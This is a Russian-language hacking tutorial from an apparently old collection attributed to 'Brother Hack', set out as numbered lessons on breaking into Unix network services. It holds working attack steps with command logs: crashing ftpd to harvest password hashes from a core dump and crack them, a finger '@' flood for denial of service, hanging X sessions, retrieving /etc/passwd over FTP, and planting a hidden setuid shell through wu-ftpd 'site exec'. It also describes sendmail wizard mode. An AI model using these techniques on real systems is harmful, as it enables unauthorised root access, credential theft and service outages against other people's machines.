"Технология
взлома"
Фрагменты сборника. Часть 1: Взлом глобальных
сетей
Brother Hack
Lesson 001
Цель: получение паролей account'ов, находящихся
на сервере, допускающем guest telnet-вход при использовании ftp-хоста.
Действует на 50% систем.
Значит, ниже приведен тип лога, при использовании
этой атаки. Работает, что, конечно-же проверено. Возможно на 40-50% систем,
причем в основном администрируемые BSD-хостами.
bash$ telnet victim.host ftp
Trying xxx.xxx.xxx.xxx...
Connected to victim.host.
Escape character is "^]".
220 victim.host FTP server ready.
user root
530 User root access denied...
user ftp
331 Guest login ok, send your complete
e-mail address as password.
pass aaa@
230 Guest login ok, access restriction
apply.
cwd incoming
250 CWD command successful.
list x x x x x x x x x x x x x x x x x
x x x x x x x x x x x x x x x x
x x x x x x x x x x x x x x x x x x x
x x x x x x x x x x x x x x x x
x x x x x x x x x x x x x x x x x x x
x x x x x x x x x x x x x x x x
Connection closed by foreign host.
Если все так и выглядит, значит ftp daemon
на этом хосте свалилися в core. Core - это образ памяти, который содержит,
как правило, достаточно большой кусок passwd. Причем не важно, стоит ли
на хосте shadow password, или не стоит. Осталось только найти и скачать
его ;)
Почему это срабатывает в 50% случаев -
именно потому, что core далеко не всегда валится в incoming. Это зависит
от версии операционки и версии ftp daemona. Может еще от фазы луны, я не
знаю ;)
Теперь заходим простым FTP клиентом и
ищем в директории incoming или в корневой директории файл ftpd.core. Если
он есть - скачиваем его себе. Если все это удалось - очень хорошо. Смотрим
этот файл, выдираем из него пароли (они очень характерно выглядят) и напускаем
на него Crack. Т.е. ломаем методом подбора. Чем больше пользователей и
больше словари тем больше вероятность подобрать. В моем случае из ~25 паролей
я подобрал два.
PS. Вход через telnet возможен и на 21
порт, то-есть порт ftp-протокола.
PPS. Thanks to Roger
Lesson 003
Цель: использование отдаленной атаки через
finger. Атака происходит на shutdown или зацикливание системы что часто
и приводит к одинаковому результату ;)
Многие fingerd инсталляционные комплекты
поддерживают переадресацию на другие хосты.
bash$ finger [email protected]
В данном случае происходит подставка system.one.com
в качестве запрашивающей системы на system.two.com Часто этот метод может
быть использован для прикрытия адреса, однако это очень кривой тип атаки.
Следует посмотрет на этот вариант:
bash$ finger @@@@@@@@@@@@@@@@@@@host.we.attack
Все знаки @ будут заставлять finger обращаться,
с генерированием child процессов на host.we.attack снова и снова. Результат
будет очень и очень интересным: сильная процессорная загрузка, мало свободной
памяти и мало свободного места на диске из-за большого количества child-процессов.
Часто эту проблему решают переустановкой
fingerd без поддержки переадрессаций, или просто отключают данный сервис.
Lesson 004
Цель: завесить X-Windows session.
Если хост поддерживает telnet сессию к
X-Windows порту (обычно где-то между 6000 и 6025. В основном - 6000) это
может быть использовано для затормаживания X-Windows сессии вплоть до зависания
данной ;) Это выполняется при помощи нескольких telnet соединений к порту
программы которая посылает XOpenDisplay() в порт.
Данная атака может использована для Motif
или Open Windows
Также эта атака может использоваться для
предотвращения соединений к X-Windows порту.
Lesson 005
Цель: получить root вход.
bash$ ftp victim.com
Login: press enter
Password: press enter
bash$ quote user ftp
bash$ quote cwd ~root
bash$ quote pass ftp
bash$ cd etc
bash$ get passwd
В данном примере log-файл сохраняет
работоспособность.
Если все выполнено правильно и сервер
достаточно старый мы получим root вход.
PS. Чаще всего этот пример работает на
серверах достаточно старых, тех которые используют большинство Университетов
;)
Lesson 006
Цель: Internet Daemons ;)
Как известно, Internet хосты используют
TCP протокол для соединения и обмена информацией. На ряду с ними используются
еще некотрые дополнительные протоколы, список и информация о которых доступна
на Unix-системе в /etc/protocols.
В расположении сессиии (OSI model) или
Internet (DOD Protocol Model) хосты обмениваются данными через порты, доступные
для каждого определенного типа данных. Каждый тип имеет свой определенный
исходный и входной порт. Номера портов делятся на два типа: постоянно-определенный
и динамически-выделяемый. В системе Unix постоянно-определенные порта описаны
в /etc/services. Для более точного и подробного описания неплохо было бы
просмотреть RFC(Request For Comments) 1700 которые предлагает наиболее
полный список. Динамически-выделяемые порта определяются системой в зависимости
от требований и состояний в момент определения.
Unix позволяет использовать соединения
через постоянно-определенные порта с Internet daemons , что даст возможность
получения соединения со всеми доступными сервисами.
Daemon программы практически всегда выполняются
inetd (The Internet Daemon).
Их описания хранятся в конфигурационном
файле inted, /etc/inetd.conf.
Многие daemons исполняются с получением
привеллегиривонного root доступа. Это дает возможность получить доступ
к отдаленным системам.
Daemons в которых мы наиболее заинтересованы:
Сервис Номер
порта Описание
------
----------- --------
ftp
21
File Transfer [Control]
smtp
25
Simple Mail Transfer Protocol
tftp
69
Trivial File Transfer Protocol
finger
79
Finger
www-http
80
World Wide Web HTTP
sunrpc
111
SUN Remote Procedure Call
fln-spx
221
Berkeley rlogind with SPX auth
rsh-spx
222
Berkeley rshd with SPX auth
netinfo
716-719 NetInfo
ibm-res
1405
IBM Remote Execution Starter
nfs
2049
Network File System
x11
6000-6063 X Window System
rcp/rshd
Remote Copy/Remote Shell Daemon
nis
Network Information Services
Дальше, я сфокусирую свое внимание
на определенных daemons, а именно на возмож- ности их взлома.
ftp 21 File Transfer [Control]
ftp - протокол передачи данных. ftp-запросы
обрабатываются FTP daemon, ftpd. wuarchive's ftpd версии выше 2.2 имеют
функцию, благодаря которой вы можете исполнить двоичный файл при помощи
'site exec' команды, вызовом ее с опреде- ленным указанием пути с "../"
в начале строки.Ниже приводится пример:
Вход в систему с использованием ftp:
220 uswest.com FTP server (Version wu-2.1(1)
ready.
Name (uswest.com:waltman): waltman
331 Password required for waltman.
Password: jim
230 User waltman logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> quote "site exec cp /bin/sh /tmp/.tno"
200-cp /bin/sh /tmp/tno
ftp> quote "site exec chmod 6755 /tmp/.tno"
200-chmod 6755 /tmp/tno
ftp> quit
221 Goodbye.
smtp 25 Simple Mail Transfer Protocol
Почтовые атаки наиболее распространеные
и старые атаки Internet хостов. Наиболее используемый daemon - sendmail.
В нем - самая слабая защита. Другие почтовые daemons включают в себя smail,
MMDF и IDA sendmail. Sendmail имеет слишком много возможностей взлома,
чтобы их всех описать.
Наиболее используемая и исторически известная
возможность - "Wizard Mode." В Wizard mode я могу запросить shell через
порт 25 (SMTP port). Новые системы не имеют этой дыры. Чтобы выполнить
это мы должны использовать telnet на порт 25, ввести WIZ чтобы войти в
Wizard mode и ввести пароль. Проблема заключается в том, что расшифрованный
пароль сохранен.
Wizard mode пароль в malloc памяти, следовательно
он спрятан достаточно. Но ука- затель указан на NULL:
char *wiz = NULL;
HomePage